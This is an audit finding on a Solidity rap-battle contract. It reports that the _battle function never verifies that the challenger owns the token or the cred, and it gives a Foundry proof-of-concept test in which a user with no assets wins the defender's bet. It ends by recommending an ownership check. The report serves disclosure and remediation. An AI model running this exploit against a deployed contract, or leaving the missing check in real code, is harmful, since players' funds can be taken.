Summary
The RapBattle::_battle function allows users to participate in battles without verifying ownership of the specified token id and cred tokens. A malicious user can enter the rap battle with inexistent token id, by tracking the next token id from the OneShot::getNextTokenId function and without having any cred tokens and win, but in case of lost battle his opponent won't receive any rewards since he doesn't own any tokens. This can potentially result in unfair gameplay, which beats the purpose of the protocol.
Vulnerability Details
Add the following test case in the OneShotTest.t.sol file:
function testWinWithoutMintingNFT() public mintRapper {
vm.startPrank(user);
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.warp(4 days + 1);
streets.unstake(0);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 4);
rapBattle.goOnStageOrBattle(0, 4);
vm.stopPrank();
assert(oneShot.ownerOf(0) == address(rapBattle));
assert(cred.balanceOf(address(rapBattle)) == 4);
address randomUser = makeAddr("random user");
vm.startPrank(randomUser);
assert(cred.balanceOf(randomUser) == 0);
uint256 id = oneShot.getNextTokenId() + 10;
vm.roll(block.number + 1);
vm.warp(1 days);
rapBattle.goOnStageOrBattle(id, 4);
vm.stopPrank();
assert(cred.balanceOf(randomUser) == 4);
}
Impact
Such cases disrupt the fairness of the battle system.
Tools Used
Foundry
Recommendations
Add token ownership check in the _battle function:
function _battle(uint256 _tokenId, uint256 _credBet) internal {
+ if (oneShotNft.ownerOf(_tokenId) != msg.sender) revert();
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
// Reset the defender
defender = address(0);
emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
// Otherwise, since the challenger never sent us the money, we just give the money in the contract
credToken.transfer(msg.sender, _credBet);
}
totalPrize = 0;
// Return the defender's NFT
oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}
